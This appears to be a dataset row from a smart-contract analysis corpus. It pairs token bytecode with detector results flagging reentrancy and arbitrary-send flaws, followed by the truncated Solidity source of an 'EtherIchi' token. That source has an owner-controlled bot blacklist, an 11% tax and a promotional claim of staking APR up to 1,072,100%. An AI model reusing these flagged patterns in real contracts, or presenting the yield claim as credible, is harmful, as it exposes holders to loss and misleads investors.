0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f4275792054686520446970210000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f42757954686544697020f09f8699000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d2d27d8882936d97c5b79da17fa578f8c39c8911fe4ebd6826cc0e6ad624f0664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,391
0x04904aa61CFB0aFFCb8d730a565cD9FB6c931e38
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ /** $ICHI Fork. Mint $MRI Branded Dollars and stake them with APR up to 1,072,100% https://twitter.com/EtherIchi https://t.me/EtherIchi */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EtherIchi is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EtherIchi";// string private constant _symbol = " $ICHI";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 11;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 11;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x185Dc73595D9f045C17804FD142Bb5B0e9dF6f50);// address payable private _marketingAddress = payable(0x185Dc73595D9f045C17804FD142Bb5B0e9dF6f50);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public 